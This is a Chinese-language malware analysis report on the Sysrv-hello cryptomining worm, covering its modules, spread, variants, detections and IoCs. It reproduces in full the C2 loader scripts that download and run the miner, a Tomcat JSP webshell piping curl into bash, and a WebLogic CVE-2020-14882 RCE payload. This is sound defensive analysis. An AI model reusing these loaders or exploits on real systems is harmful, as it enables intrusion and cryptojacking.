開發與維運

Sysrv-hello 新型挖礦現身,阿里雲 0 號惡意樣本一手分析報告獨家發佈

shutterstock_248596777.jpg

Sysrv-hello挖礦樣本初現

 事件背景

阿里云云安全中心,針對雲上海量樣本進行持續監控,對奇異樣本進行自動捕獲標定和分析。本月初,發現一例具有持久化功能的樣本,具有與此前已知程序文件的差異特性,經過分析,屬於一款新型挖礦支持組件,且處在爆發初期。鑑於該樣本的特徵路徑以及特徵代碼,暫時將其命名為Sysrv-hello。

 Sysrv-hello樣本特性

· 該樣本服務於挖礦行動,兼具蠕蟲、爆破、木馬、後門等多種特性,漏洞利用與爆破方式、功能集成性不同於以往已知樣本;

· 經過對該樣本的特徵分析與關聯樣本檢索,發現該樣本非孤立樣本,而是一個本月新出現投放,並在早期積極迭代變換的挖礦活動;

· 藉助Golang,該家族跨越Linux與Windows平臺,通過陸續集成的多種最新漏洞與應用的攻擊方式,具備很強傳播性。

 時間線

· 12月3日:13時15分
最早發現的0號Linux樣本(md5=ead2cf8ab7aef63706b40eb57d668d0a)在雲上首次出現,影響大量用戶機器,影響面較大;
· 12月6日
捕獲到該家族第1號變種族於9:30開始投放,面向Linux免殺,且投放量非常剋制,當日共捕獲到4例樣本,每個樣本僅傳播到1-2臺主機
· 12月7日
該樣本在VirusTotal上首次由外部上傳;
· 12月15日
發現該樣本2號Linux變種家族的第一個樣本在16:15投遞到少量主機試水,之後第二個樣本在18點較大範圍傳播;
· 12月16日:23點
首次發現該樣本的3號變種族,之後至少到19日仍持續有子變種出現,且持續有活躍的投遞與傳播,所有樣本均有一定的傳播影響面,是該類型到目前為止最活躍的族系;
· 12月22日:14時30分
截至14:30,VirusTotal全部62款商業殺毒引擎均未報毒。

 修復建議

Sysrv-hello目前還處在擴散初期,儘管有快速迭代、不斷集成最新的攻擊方式,但傳播面還不夠大,初期的檢測防禦對於惡意行為防禦更有意義。

當前對於該家族的核心樣本Sysrv主程序,以及投遞的挖礦程序,阿里云云安全中心均已默認可檢出,所有云主機用戶可關注是否存在病毒檢測告警,並及時關注應用環境是否存在漏洞未修復、弱密碼等問題。

對購買雲安全中心的用戶,當前各種檢測模型已可多維度檢測關聯入侵行為,給出實時告警;同時全部病毒樣本以及後續變種均已支持文件精準防禦以及行為防禦。



以下是對該惡意樣本的一手分析報告:

0號樣本分析

 靜態逆向

該樣本為Linux 64位程序,使用Golang開發並用UPX 3.94加殼,未做額外混淆,脫殼前後大小為4,634,788B/8,687,768B,本地編譯路徑為 :/media/psf/AllFiles/Users/mac/go/src/hello/src。樣本並未完全去除文件路徑等元信息。

根據子目錄,樣本主要有如下五部分功能組件:

【 Scan 模塊 】

image.png

掃描器組件是該樣本從main.main入口執行的最外層功能,由此再下一步調用其它功能。

image.png

【 Gateway 模塊 】

image.png

Gateway模塊由SYN掃描器調用,提供Linux網關探測能力。

【 Nu 模塊 】

image.png

Nu模塊為其它功能模塊提供基礎功能實現(network utility),包括最基礎的字符串操作、端口探測、日誌等;同時封裝了shell命令執行功能。

【 Exp 模塊 】

image.png

Exp模塊包含多個漏洞利用做橫向移動的能力,在進行端口掃描之後執行。在該樣本中,會嘗試對Mysql、Tomcat、WebLogic的應用主機探測觸發RCE漏洞。

【 Work 模塊 】

image.png

Work為直接控制挖礦的代碼模塊,持久化判斷挖礦任務存活,釋放並解壓縮程序中內嵌的xmrig挖礦程序本體gzip包:

image.png

 行為分析

初始化和準備階段,樣本運行時首先會監聽本地的,52013端口,此端口作為互斥量,防止自身重複啟動。

image.png

然後初始化端口掃描模塊,包括逆向可見的syn,tcp兩種掃描方式:

image.png

然後將當前的掃描方式寫入文件./flag.txt中。

image.png

第二步,釋放xmrig挖礦模塊,並啟動,釋放的完整路徑是 /tmp/network01

image.png

啟動參數是:

./tmp/network01 -B --donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux.

礦池地址是:

49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux

第三步,隨機生成ip地址,進行端口掃描:

image.png

會掃描包括Mysql、Tomcat、WebLogic服務,並自動進行漏洞利用和爆破。具體漏洞利用和爆破細節見下文。

第四步,如果獲取到目標系統的shell,會首先從 http://185.239.242.71/ 下載腳本和xmr挖礦程序:

image.png

腳本 http://185.239.242.71/ldr.ps1 的內容如下:

$cc = "http://185.239.242.71"

$is64 = ((Array)[0].AddressWidth -eq 64)

$xmr = "$cc/xmr32.exe"

if ($is64) {

$xmr = "$cc/xmr64.exe"  

}

(New-Object Net.WebClient).DownloadFile($xmr, "$env:TMPnetwork01.exe")

if (!(Get-Process network01 -ErrorAction SilentlyContinue)) {

Start-Process "$env:TMP\network01.exe" "--donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.w" -windowstyle hidden  

}
(New-Object Net.WebClient).DownloadFile("$cc/sysrv.exe", "$env:TMPsysrv.exe")

Start-Process "$env:TMPsysrv.exe" -windowstyle hidden

腳本 http://185.239.242.71/ldr.sh的內容如下:

#!/bin/bash

cc='http://185.239.242.71'

get() {

curl -fsSL "$1" > "$2" || wget -q -O - "$1" > "$2" || php -r "file_put_contents('$2', file_get_contents('$1'));"  
chmod +x "$2"  

}
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /

# kill hich cpu usage proc

ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read pid; do

cat /proc/$pid/cmdline | grep -a -E "sysrv|network01"  

if [ $? -ne 0 ]; then  
    kill -9 $pid  
fi  

done

ps -fe | grep network01 | grep -v grep

if [ $? -ne 0 ]; then

echo "no miner runing"  

if [ $(getconf LONG_BIT) = '64' ]; then  

    echo "downloading xmr64..."  

    get "$cc/xmr64" network01  

else  

    echo "downloading xmr32..."  

    get "$cc/xmr32" network01  

fi  

nohup ./network01 1>/dev/null 2>&1 &  

fi

ps -fe | grep sysrv | grep -v grep

if [ $? -ne 0 ]; then

echo "no sysrv runing"  

get "$cc/sysrv" sysrv  

nohup ./sysrv 1>/dev/null 2>&1 &  

fi

同時,自帶有一個弱口令字典,會自動進行爆破

image.png

 目標服務漏洞利用與爆破方式

【 Mysql 】

通過弱口令登錄成功之後,先首先判斷系統版本以及平臺,最後嘗試寫入32位或者64位的udf來進行任意命令執行。

image.png
image.png

【 Tomcat 】

嘗試爆破Tomcat的管理頁面的用戶名和密碼:

image.png

如果爆破成功,就嘗試向服務器上上傳war包進行項目部署來getshell。

image.png

war包本質上是一個壓縮包,壓縮包的內容為:

image.png

解壓出來有一個1.jsp文件,內容如下:

<%@ page import="java.io.*" %>

<%

try {

String w = request.getParameter("win");  

String l = request.getParameter("linux");  

String[] cw = {"cmd", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('" + w + "')"};  

String[] cl = {"bash", "-c", "(curl -fsSL " + l + " || wget -q -O - " + l + ") | bash"};  

if (System.getProperty("os.name").toLowerCase().contains("win")) {  

    Runtime.getRuntime().exec(cw);  

} else {  

    Runtime.getRuntime().exec(cl);  

}  

} catch (IOException e) {}

// remove self

File f = new File(request.getSession().getServletContext().getRealPath("/"));

new File(f.getParent() + File.separator + f.getName() + ".war").delete();

out.print("1");

%>

【 WebLogic 】

利用cve-2020-14882漏洞進行getshell,發送的payload如下:

image.png

GET /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String%%20cmd=req.getHeader("cmd");String[]%%20cmds=System.getProperty("os.name").toLowerCase().contains("win")?new%%20String[]{"cmd.exe","/c",req.getHeader("win")}:new%%20String[]{"/bin/sh","-c",req.getHeader("linux")};if(cmd!=null){String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%%5C%%5CA").next();weblogic.servlet.internal.ServletResponseImpl%%20res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.0

Host: %s:%d

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O - %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString('%s')

一個payload兼容Linux和Windows操作系統。

家族演進跟蹤

在發現該家族之後,我們基於雲上全量樣本的相似度檢索,發現了前述0號樣本的關聯相似樣本,證明此次並非一個試水的投放或已知樣本的技術演進。根據樣本技術特性,可以將該樣本的發展標註到4個主要節點,證明該挖礦家族的發展是其初期快速擴張和迭代的階段。

 0號樣本

這就是前文分析的樣本。最早在12月3日在雲上發現。

約相同時間,雲上捕獲了該樣本的Windows版本,md5=030231d96234f06ae09ca18d621241e5。

該樣本與Linux樣本基本同源,僅適配Windows有若干必要的調整,包括:去除挖礦程序的釋放控制功能(僅限Linux版本);掃描器與payload的載入方式等。

 1號變種族

此類樣本觀察到最初於6日9:30開始投放,僅在6-7日進行投放,且投放量非常剋制,當前已捕獲到共4例樣本,每個樣本僅傳播到1-2臺主機。

這階段的免殺方式為,將原始Sysrv樣本加殼後,作為數據嵌入在另外的loader程序中,釋放後載入生效;嵌入的樣本摳出脫殼後,md5=750644690e51db9f695b542b463164b9。

除此以外,樣本本體並未發現明顯差異。

image.png

因為此家族僅為0號樣本在Linux平臺的特殊免殺變種,因此在Windows平臺的同源更新版本樣本,與0號Windows樣本沒有顯著差異。

 2號變種族

此類樣本在15日發現投遞,其中Linux家族第一個樣本在16:15投遞到少量主機試水,之後第二個樣本在18點較大範圍傳播。此類Linux樣本相比0號樣本,去掉了內嵌壓縮挖礦程序釋放執行的邏輯,從而顯著減小樣本體積到2MB以內;同時對功能實現代碼做了少量改寫,包括Tomcat的爆破方式等。

該子家族的Windows版本與Linux保持一致;因為Linux版本完全去除了自帶嵌入的挖礦程序的邏輯,Windows版本也同步去除了gzip解壓縮的包引入(此前實際也並無作用,僅為同一套代碼的引入),文件體積有所縮小。

 3號變種族

該變種族最早在16日23點首次發現,之後至少到19日仍持續有子變種出現,且持續有活躍的投遞與傳播,所有樣本均有一定的傳播影響面,是該類型到目前為止最活躍的族系。

在蠕蟲功能方面,從此類變種開始新增了對Jenkins的探測與定向爆破功能。除此以外,該類家族基本保持與2號的繼承性,但每個樣本均在功能實現的主要代碼中,引入了少量局部的代碼重構,從而降低關鍵代碼的整體相似度,疑似用於規避樣本模糊匹配的分析方法。

關聯事件與告警

對此事件,阿里云云安全中心已經對攻擊鏈路中的主要節點具備檢測和防禦能力。
對經由Mysql投遞ldr腳本,當前可檢測到進程的異常操作指令,精準防禦可進行進程行為攔截:

image.png
image.png

對Tomcat進入的方式,檢測到Java執行異常指令:

image.png

對於Sysrv程序的訪問中控IP,具有實時檢測能力:

image.png

對於Sysrv橫向移動的動作,檢測到對外發起登錄掃描:

image.png

對Sysrv程序本體,按照後門程序/蠕蟲病毒類別識別告警,在開啟防禦的主機可疑精準防禦:

image.png

對於ldr惡意腳本,具有實時判黑告警:

image.png

對挖礦程序本體,始終具有檢測能力,並在開啟防禦的主機上,直接進行精準防禦:

image.png

對挖礦程序的礦池通信網絡行為,具有對應的告警和關聯信息佐證:

image.png

對Sysrv進程殘留的持久化方式,具有定時掃描檢測:

image.png

IoC

ead2cf8ab7aef63706b40eb57d668d0a

a45c5b97068a709c92aa2fb73cc39d29

bb15e4c273044a5e714acec991dde4b4

4736f80b88c60d2b650dd7273b437d0f

e7b1ee6578b88e1c2650982d35a0bbfc

e9317adace503cefa02007579eb1c621

ec773867cf1cc0479e57eae020f6f399

f4c90b41126fc17848bd0d131288bd36

58a05154e0a702843b8304ccfd79ba2f

7f9abe219ae8dd4e338bd2a9fcaf2e05

301a0a58dd98ecbbe12c6acbd0c7bbdc

030231d96234f06ae09ca18d621241e5

4b22a05d547d0345f91ba9f5fb1f012c

0af416fb7a7e164ddd90da14d116c07e

bbe3e53b19548d093c8405847828a64d

cae2b58fc73551901a70465fa46ea23c

d8816891b21d83c318818ebc32e9609d

642d73c85e6e79720a5ae7b82fc427c5

http://185[.]239[.]242[.]71/ldr.sh

http://185[.]239[.]242[.]71/ldr.ps1

http://185[.]239[.]242[.]71/sysrv.exe

http://185[.]239[.]242[.]71/sysrv

點擊鏈接 https://www.aliyun.com/product/sas?spm=5176.19720258.J_80...0.173.54212c4aaqT6eQ
一鍵獲取雲安全中心精準防禦

Leave a Reply

Your email address will not be published. Required fields are marked *